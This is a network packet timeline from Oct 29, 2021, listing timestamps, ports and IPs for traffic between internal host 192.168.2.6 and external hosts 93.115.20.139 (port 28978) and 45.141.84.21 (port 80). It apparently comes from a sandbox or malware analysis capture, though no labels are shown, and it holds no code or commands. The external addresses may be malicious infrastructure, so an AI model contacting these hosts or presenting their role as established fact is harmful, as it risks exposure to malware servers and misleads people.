Oct 29, 2021 17:56:24.493335962 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.493532896 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.493597984 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.516079903 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.516298056 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.516329050 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.516820908 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.516868114 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.516985893 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.517327070 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.517482996 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.517755985 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.517879963 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.517896891 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.518085957 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.518284082 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.518433094 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.518757105 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.519205093 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.519459963 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.519608974 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.519866943 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.519901037 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.520196915 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.527434111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.527481079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.527523041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.527542114 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.527558088 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.527621984 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.527880907 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.527926922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.527968884 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.528000116 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.528017044 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.528063059 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.528104067 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.528117895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.528148890 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.528172970 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.528301954 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.528346062 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.528359890 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.528398991 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.528426886 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.528455973 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.529748917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.529819965 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.529834032 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.529866934 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.529897928 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.529932976 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.529948950 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530006886 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530034065 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.530066967 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530107975 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530133009 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.530168056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530222893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530232906 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.530270100 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530306101 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530327082 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.530355930 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530397892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530416012 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.530453920 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530494928 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530522108 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.530544043 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530584097 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530602932 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.530639887 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530669928 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530699015 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.530728102 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530788898 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530797005 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.530833006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530860901 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530891895 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.530913115 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530952930 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.530967951 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.530997992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531025887 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531054020 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.531080961 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531137943 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531147957 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.531183958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531212091 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531243086 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.531261921 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531301022 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531325102 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.531347990 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531374931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531409979 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.531425953 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531469107 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531512976 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.531522989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531568050 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531580925 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.531613111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531652927 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531667948 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.531687021 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531724930 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531759024 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.531774998 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531819105 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531843901 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.531850100 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.531908035 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.542181969 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.542315960 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.542597055 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.542598009 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.542726994 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.542794943 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.542913914 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.543095112 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.543275118 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.543531895 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.543598890 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.543816090 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.543960094 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.544148922 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.544318914 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.544529915 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.544722080 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.545221090 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.545250893 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.545598030 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.545726061 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.567049026 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.567121983 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.567413092 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.567569017 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.567645073 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.567969084 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.568613052 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.568640947 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.569025040 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.569051027 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.569077969 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.569329977 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.569590092 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.569845915 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.570008039 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.570465088 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.570489883 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.570780039 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.570889950 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.570915937 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.571104050 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.571413994 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.571440935 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.571810007 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.571966887 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.572248936 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.572489977 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.572685957 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.575822115 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.576009989 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.576039076 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.576121092 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.576194048 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.586431026 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.586502075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.586544991 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.586575031 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.586610079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.586638927 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.586672068 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.586700916 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.586719990 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.586750031 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.586790085 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.586839914 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.586863995 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.586922884 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.586982012 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.586994886 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.587028980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587085009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587097883 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.587141991 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587178946 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587194920 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.587222099 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587270975 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.587487936 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587526083 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587560892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587579966 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.587604046 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587656021 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.587795019 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587836027 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587872982 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587896109 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.587932110 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.587992907 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.588030100 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.588064909 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.588090897 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.588109016 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.588287115 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.588339090 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.588413954 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.588449955 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.588473082 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.588495016 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.588896990 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.588963985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.588985920 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.589041948 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589070082 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589093924 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.589122057 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589158058 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589176893 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.589227915 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589267015 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589282990 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.589319944 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589356899 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589371920 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.589397907 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589432001 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589447021 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.589493990 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589541912 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.589560986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589597940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589632034 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589646101 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.589689016 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589735985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589756966 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.589811087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589858055 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.589883089 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589939117 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589973927 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.589991093 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.590044975 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.590094090 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.590118885 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.590173006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.590208054 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.590225935 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.590280056 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.590325117 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.590354919 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.590408087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.590444088 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.590462923 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.590512037 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.590559006 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.590583086 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.590634108 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.590668917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.590688944 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.600348949 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.600375891 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.600435972 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.600797892 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.601200104 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.601682901 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.602082014 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.602442980 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.602763891 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.602962971 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.603276014 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.603394985 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.603421926 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.603669882 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.604027987 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.604664087 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.605081081 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.605631113 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.605777979 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.606015921 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.606123924 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.627906084 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.627952099 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.628119946 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.628391027 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.628674030 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.629038095 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.629189968 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.629673004 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.630115032 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.630312920 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.630470037 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.630770922 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.630784988 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.630902052 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.630963087 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.631145954 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.631443024 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.631771088 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.631858110 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.632194996 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.632646084 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.632879972 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.633095026 CEST	28978	49854	93.115.20.139	192.168.2.6
Oct 29, 2021 17:56:24.633528948 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.633713007 CEST	49854	28978	192.168.2.6	93.115.20.139
Oct 29, 2021 17:56:24.644731045 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.644767046 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.644819021 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.644830942 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.644895077 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.644927025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.645785093 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.645823956 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.645865917 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.645901918 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.645914078 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.645936012 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.645968914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.646006107 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:24.646023035 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:24.646065950 CEST	80	49856	45.141.84.21	192.168.2.6
